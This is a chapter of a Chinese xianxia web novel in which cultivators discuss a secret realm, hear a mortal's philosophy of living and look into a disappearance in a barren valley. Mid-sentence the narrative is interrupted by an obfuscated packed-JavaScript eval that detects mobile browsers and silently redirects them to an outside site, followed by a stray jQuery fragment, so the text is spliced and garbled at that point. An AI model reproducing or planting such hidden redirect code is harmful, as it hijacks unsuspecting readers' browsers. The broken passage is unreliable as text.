兰因这厢仗着不易被发现,变本加厉行了一道显形咒,叫发生的事情投在眼前。
此时夜色将要来临,他们处在郊野,举目荒芜草木遮天蔽月。暗色里只有兰因手里举了一盏莹火映照四周,看样子两人今夜准备露宿在野。
段玉听和他师姐隔了一臂的距离,很自然地把兰因垫在身下的布毯拉平整,问她:“师姐手上的不像凡火。”
兰因诧异他眼力不俗,点头:“嗯,是朋友所赠的异火。传闻说可以净心镇灵,催生万物——”她因为距离太近产生的不适感,在这一问一答里轻了许多。于是兰因偏过头倾身去看他,继续上一回未竟的话题:
“你有没有听说过——‘鸿福秘境’?”
昏沉的天色把段玉听一大半面容都吞没,只有跳动的火光将他眼睫勾成金色。他垂着总是含笑的眼睛,把所有神色都敛起:
“略有耳闻。”
“传说鸿福秘境是天地留下的灵祝,每一位通过历练的人,都能补益福运,繁盛道行。如果参破其中的传承,更有不能想象的机缘——为什么突然问这个?”他尽力将自己的声音递得平稳。
“在西南登龙台方向,一月后一座老秘境又将开启。传说这一回,其中的传承有关于——”兰因顿了顿,“四象片羽。”
传说里四象神兽有预知的能力,而现今人们把拥有预知功用的宝物,都称作“四象片羽”。命中将遭劫难的修士,假如能一窥这之中的预言,几乎相当于半只脚跨越了生死劫。
兰因低着头,慢慢地捋着腰上的丝绦:“我想要这‘四象片羽’。”
她生得很轻灵,笼在暖光里像一只垂着翅膀的蝴蝶:“不知道……你愿不愿意和我一起?”
段玉听暗松一口气。为自己的计划和师姐的打算交叠,他稍释一点无谓的歉疚。
他本应该只想找到父母殒命的真相,然后就放任自己葬身在命劫的。可是此刻有烛火昏昏跳动在他手指尖,玉听因此鬼使神差地伸手,去捉影子的温度。他偏过头迎着兰因的眼睛,应她:
“当然。”
齐云开后来总算了知道她师姐的意思,坐在付信阳空屋子的竹席上,只是叹气:“只怕我牵扯的东西会连累到他。”她想起追着自己的那一群麻烦,卸力靠在人肩膀上:“师姐原来不是最怕和别人牵涉因果吗?”她带着一点敏锐的直觉攮她,吃醋地半开玩笑:“我看你就是芳心暗许。”
聂宿归也不反驳,眄师妹一眼,说的话却让她宽心:“我和他的因果恐怕非常、非常深,一夜留宿无关紧要;何况四周已经由我布下了护卫法阵,侵必绞。”
然而夜晚法阵的警示传到这里时,来犯者的身份却使两人不能再震惊——不是邪修魔道,不是刺客杀手,却是另一股从来没有见过、怎么也无法分辨的气息。像恶诅,它在缓慢蚕食付信阳本就虚弱的神魂。
他的屋子此刻依旧安静,只能听见很细微的呼吸声逐渐紊乱,像因为痛苦而翻卷的火海中野草。
齐宣招出她的长枪“原燎”,向那异常气息所在的方向狠扫一道。那些看不见的、蠢蠢欲动的气碰到灼热的枪势,像是触手急速回撤,只余下被抛弃的一段尾巴溃散在风里。
万籁俱寂。
随后冷夜里突然传来一声敲击木门的轻响,叩得黑暗里浮尘也惴惴。
然后是付信阳稍显虚弱的嗓音:“我听到屋里有声音……发生了什么?”
在这一个稍显寒凉的春天夜晚,齐聂两位修士和付信阳在灯火下,把他的身世摊开得明白。
“付信阳”是一个无父无母的凡人,失去幼时的记忆,也根本没有参透玄道能力的灵根。换言之,不但不能修行,他连俗世里钻研道法的灵敏也失去。
就像是被谁随手捏出来的一具泥塑玩偶,终生没有直面自己人生的机会,只是好像被推搡着,跌跌撞撞地学着活。
齐云开苦之久矣,尤其为他感到愤懑。因此她带着点心虚,好奇发问:“那么……你现在为了什么活下去?”话音落下时她一怔,觉得自己内心积年的苦闷真切裹挟在了这一问中。
付信阳轻轻看了她们一眼,把视线落到聂宿归袖摆上浅淡的祥云纹路:“‘为了什么而活’这样的问题,如果要真切地去追根溯源,恐怕世上能够给出回答的不足十之一二。”
他慢慢地说:“大多人能顾及的只是眼前,而我少有‘眼前的顾虑’。家族使命、人情往来,这些不是我的紧迫,但我的‘生’中存在等同意味的东西。”
他抬起头,发问:“两位觉得,人的烦恼是能被除净的吗?”
齐云开还没有从他的话里完全反应过来,就听师姐的声音响起,轻又坚定的,她说:“不能。”
付信阳于是一错不错地看着聂宿归灯火下的眼睛:“我有时想,对孩子来说丢失玩具的痛苦,未必弱于成人失去官位。而对我来说堂前草木的枯萎,犹似他人亲友驾鹤西归。人非草木,可万物都一样地烦恼着。我也有自己的、或许他人看来浅淡的欣喜和戚悲,而对我来说拥有这二者,就是完整的生活。”
“我的生活空白,可是一样完备。许多人为了追求喜乐,去除苦痛而活着,而我认为人唯一能获得极乐的时刻就是生命结束的瞬间,”他说得很慢,但是坚定,“而我们必须经历的苦与乐无常也有常。我想要在这之中泰然地‘生’,使自己缓慢接近永不能到达的臻我。”
他说:“为了活着而活,这就是我的修行——我就活在这一刻。”
聂宿归的眼睛被烛火点得很亮。她好像有许多话要说,眼里闪动翻涌的海潮——但最终不曾开口。那边齐宣好像醍醐灌顶,又好像不得其门,在是与非之间有些恍惚地又问:“那么,怎么能做到这样的泰然?”
付信阳眉眼舒朗,一笑:“求索长路漫漫,我只问自己要什么,只问如今在何处。此一刻就见真我。每一刻都见真我。”
段玉听与穆兰因并肩走在熙攘的街巷上,前方不远处就是拜别付信阳的齐聂两人。仇家难缠,她们不能在竹舍里久居,提醒他那夜中的妖异气息,留下些镇灵符咒后只得先行路。
那边聂宿归烦恼找不出困扰付信阳因果的真相,这边段玉听受显形符传来的夜谈影响,扪心自问着“我要什么”。嘈杂的交谈声将人群中的一切思绪都淹没。正是几人都心事重重之际,远处人群中突然传来一声悲而惊的哭号。
聂宿归和齐云开原本下山就是为了游历,为普通百姓治祟驱邪。刚踏进这座西昆城,就看见人群中瘫坐在地的年轻妇人。她手边滚落着一只老旧竹篮,里面还价了许久的不新鲜蔬菜被尘埃粘满。周围人群自发空出一道空缺,有知道内情的人挤在最前方,或得意或同情地向四周播撒“真相”。
女子是嫁到城西杜家的新妇。杜家并不富裕,好在这对小夫妻踏实肯干,把破败的日子一点一点缝起来。然而这位小妇人柳丹却在刚才突闻噩耗,自己的丈夫在城郊的荒谷里失去踪迹——城中近日的确传过荒谷的妖鬼邪说,只是大家从前都以为是谬谈。
聂宿归和齐宣对视一眼。很微妙的鬼神传言。邪修、妖灵或一些不干净东西的到来,的确是普通百姓的劫难,但是现在这个口口相传的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458736|169646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“荒谷妖鬼”,若被问起,都只回答“有人看见”——那这人是谁?
没人说得出所以然。
兰因也觉得蹊跷。但她和段玉听才走到人群周围,就看见年轻的师父师叔已应下几个百姓的探查请求。来不及细细思量,她急跨一步上前:“我二人也想同往。”
刹那,一红一灰的人影将视线照到两人身上。
好奇怪。分明有种莫名的熟悉感,却好像相距有天堑。
聂宿归看那两个修士。姑娘穿着颜色浅淡的紫衣,衣上青色兰草绣纹皆是护神符咒,拱卫一双明目如泉。修为却料不出深浅。她身边的青年倒是探得出将要结丹,只是除去一张好皮相,看不出除了他自己摊开在人前之外的任何东西。
她罕见的感受到微妙的挫败感,向着二人轻轻一点头。
一行人向城郊去。
“我们这样,不会扰乱境里的规则么?”段玉听行路途中暗暗给人传音。
“说是截取的一段过往,说到底也只是模拟的一处小秘境,世界规则下一切都被允许,而会发生的也终会发生,”兰因稍稍抬眉,和身边人渐熟以后,她言语里流泻出点自然的风发意气,“修道者自古与‘变’为邻,我从来不做被安排的看客。”
他们抵达出事的荒谷。
这里位于陡崖之下,草木衰败,荒石四起。触目皆是暗沉的枯黄,感受不到一点灵气——灵蕴枯竭到了反常的地步,连风也好像过分粗糙,刮过枯叶像是地缚灵在哭号。
“听说这里有特殊的矿藏。”还是段玉听先开口。他回忆着在街上偶然听得的消息,将目光体贴而礼貌地在几人身上点过:“说许多人会到这里碰运气寻找矿石,也许杜郎也是因此前来。”
感受到兰因的视线,聂宿归与她心有灵犀地相视一眼:
“这里的灵流规则不对——暗处一定藏着阵法。”
法阵一道,兰因只能照着前人手书依葫芦画瓢,而聂宿归是个中高手。她能“看见”旁人眼中无形的交错灵流,顺着其的规律去找寻阵眼。
她那一双灵眼睛,在这样的时候看实物形如虚视,像是半个天盲人。“一个阵眼为主,两个阵眼作辅,”她喃喃着自语,“连成一线,集流纳灵。后天复与先天同,南北走离坎。”
“周围有一个集灵阵,向南或向北,能够寻到一处辅阵眼。将其破坏了,主阵眼就能显现。”
“阵眼用的是什么?”兰因顺着她的话猜,“集灵阵不是凶险的阵法,大概不是活物。”
聂宿归点头,扫视一览无余的荒谷,率先提步向南边走去:“跟着我,大家留意四周的异动。”
她边说边向腰上乾坤袋里摸出一把铜钱来感应。这是聂宿归的本命法器。铜钱边沿略宽,一面刻八卦图,一面竖书“道曜紫气,降福无穷。轰天正令,制鬼除凶。神光所照,降格玄穹[1]”二十四字紫气咒。左右为四字符文,释作“正令除凶”,“正令”居左,“除凶”在右。
几人跟随着它到达一处陡崖。兰因站立深思片刻,招出法笔“知更”,远远挥出一道灵符,向山石间错杂的纹路横斩一道——那隐藏在山纹里的符箓闪烁一瞬,倏忽碎裂,露出被遮掩的一座小山洞。
挡开落下的细小碎石,几人登入半山洞口。
被安放在山洞中央的,竟是染血的一块宝剑残片。
这片残剑灵蕴已经衰弱得不成样子了,好像一触就要化为粉灰、魂归天地。纵使如此,段玉听与齐云开这样熟悉刀兵的修士在见到它的第一眼,就禁不住在心中暗呼:
好俊的剑。